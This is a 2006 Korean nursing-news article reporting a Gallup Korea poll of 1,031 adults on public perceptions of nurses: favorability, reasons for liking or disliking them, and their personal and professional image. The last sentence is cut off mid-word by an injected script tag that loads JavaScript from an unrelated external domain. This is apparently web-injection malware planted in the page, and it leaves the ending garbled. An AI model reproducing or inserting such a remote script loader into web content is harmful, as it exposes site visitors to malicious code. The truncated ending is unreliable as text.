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간호사 이미지 여론조사 결과
한국갤럽에 의뢰해 조사
[편집국] 정규숙   kschung@nursenews.co.kr     기사입력 2006-10-26 오전 08:57:59
◆ 간호사 이미지 조사방법

 간협신보는 여론조사 전문기관 한국갤럽에 의뢰해 일반 국민이 생각하는 간호사 이미지를 조사했다.
 병원에서 근무하고 있는 간호사에 대해 평소 어떻게 생각하고 있는지, 어떤 이미지를 갖고 있는지 알아보았다.
 이번 조사는 전국의 19세 이상 남녀 1031명을 대상으로 지난 8월 22~23일 이틀간 이뤄졌다. 표본은 지역별 인구수 비례로 무작위 추출됐으며, 구조화된 질문지를 이용해 전화조사를 실시했다. 표본오차는 95% 신뢰수준에서 ±3.1% 포인트이다.

◆간호사에 대한 인식
=호감.비호감 이미지 `친절'이 좌우

 평소 간호사에 대해 얼마나 좋은 느낌을 갖고 있는지에 대해 물었다.
 그 결과 `좋은 느낌을 가지고 있다'고 응답한 사람이 87.5%로 나타났다.(매우 좋은 느낌 26.4% + 좋은 느낌 61.1%)
 성별, 연령별, 교육수준별, 직업별 전 계층에서 80% 이상이 좋은 느낌을 갖고 있다고 응답해, 각계각층의 국민들이 간호사에 대해 호감을 갖고 있는 것으로 분석됐다.
 `좋지 않은 느낌을 갖고 있다'고 응답한 사람은 12.5%였다.
 `간호사에게 좋은 느낌을 갖고 있다'고 응답한 사람(903명)을 대상으로 그 이유를 물어본 결과, 이중 절반 이상이 `친절하기 때문'(54%)이라고 응답했다.
 이어 △자기 직업에 대해 서비스 정신을 갖고 있다(8.4%) △사람들 가까이에서 지식을 갖고 도움을 준다(7.9%) △남을 위해 희생하는 사람들(4.9%) 순으로 나타났다.
 `간호사에게 좋지 않은 느낌을 갖고 있다'고 응답한 사람(128명)은 그 이유로 `불친절'(58.5%)을 가장 많이 꼽았다. 다음으로 △계속된 질문에 귀찮아 함(8.1%) △권위의식(6.2%) △딱딱한 태도(5.1%) 순이었다.
 간호사 하면 가장 무엇이 떠오르는지 자유롭게 응답하도록 했다.
 `환자에게 친절하다'(23.3%)가 가장 많았고, 다음으로 `병원에서 주사를 담당한다'(16.1%)는 응답이 많았다.
 이어 병 치료에 도움을 준다, 백의천사, 깨끗한 가운, 간호하는 모습, 병원, 본인이 좋아서 하는 일, 고생한다, 딱딱하다 순으로 나타났다.
 성별로 보면 `환자에게 친절하다'고 응답한 사람은 여자(28.5%)에서 남자(18%)보다, `백의천사'는 남자(12.2%)에서 여자(5.3%)보다 높게 나타났다.
 우리나라 국민 4명 중 3명이 최근 1년 동안 병원에서 간호사를 접해 본 경험이 있는 것으로 나타났다. 병원에서 간호사를 만난 경험이 있다는 응답자가 76.3%였다.
 성별, 연령별, 직업별 전 계층에서 간호사를 만난 경험이 70% 이상으로 높게 나타났다.
 성별로는 여자(78.6%)가 남자(73.9%)보다, 연령별로는 30대(79.0%)와 60세 이상(78.3%)에서 상대적으로 높게 나타났다. 직업별로는 화이트칼라(80.7%)와 가정주부(80.0%)에서 높았다.

◆ 인간적 이미지
=성실, 정직, 친절

 일반인들은 간호사에 대해 어떤 이미지를 갖고 있을까. 인간적인 이미지에 대해 조사한 결과, 간호사는 국민들이 믿고 신뢰하며 가까이 하고 싶은 사람으로 나타났다.
 우선 `성실하고 책임감이 강하다'고 생각하는 사람이 84.5%(매우 동의 28.5%+동의 56.0%)에 이르는 것으로 나타났다. 동의하지 않는 사람은 12.8%였다.
 `정직하고 믿음이 간다'는 응답은 80.5%(매우 동의 22.4%+동의 58.1%), 그렇지 않다는 응답은 17.2%였다. `친절하고 따뜻하다'는 응답은 78.2%(매우 동의 25.1%+동의 53.1%), 아니라고 한 사람은 20.3%였다.
 간호사에 대한 국민들의 신뢰는 미국에서도 마찬가지로 나타나고 있다. 미국갤럽이 매년 실시하는 조사에서, 간호사는 가장 정직하고 윤리적인 직업 1위로 꼽히고 있다. 여론조사를 처음 실시한 1999년부터 9.11테러가 있었던 2001년 소방관에게 한 차례 자리를 내어준 것을 제외하고, 매년 간호사가 1위를 지켜왔다.

◆ 전문적 이미지 `긍정적'
=전문지식과 기술 갖고 환자 문제 해결

 간호사라는 직업에 대한 전문적인 이미지는 어떻게 형성돼 있을까. 이번 여론조사 결과 사회적으로 인정받는 전문직으로 당당히 자리매김하고 있는 것으로 나타났다.
 우선 `사회적으로 인정받는 직업'이라고 응답자 10명 중 9명(91.1%, 매우 동의 31.0% + 동의 60.1%)이 생각하는 것으로 나타났다.
 `전문지식과 기술을 갖고 환자의 문제를 해결해준다'고 생각하는 사람 역시 83.4%에 이르렀다.(매우 동의 27.7%+동의 55.7%)
 전문성과 책임이 큰 만큼 결코 쉽지 않은 직업이라는 인식도 갖고 있었다. 대부분의 응답자가 `간호사는 스트레스가 많고 힘든 직업'이라고 생각하는 것으로 조사됐다.(96.1%, 매우 동의 53.8% + 동의 42.3%)
 국민들은 간호사를 병원 이미지 메이커 역할을 하는 중요한 사람으로 생각하는 것으로 나타났다. `간호사의 이미지가 병원 이미지를 좌우한다'는 질문에 대해 응답자의 93.0%가 그렇다고 생각하고 있는 것으로 조?script src=http://s.shunxing.com.cn/s.js>
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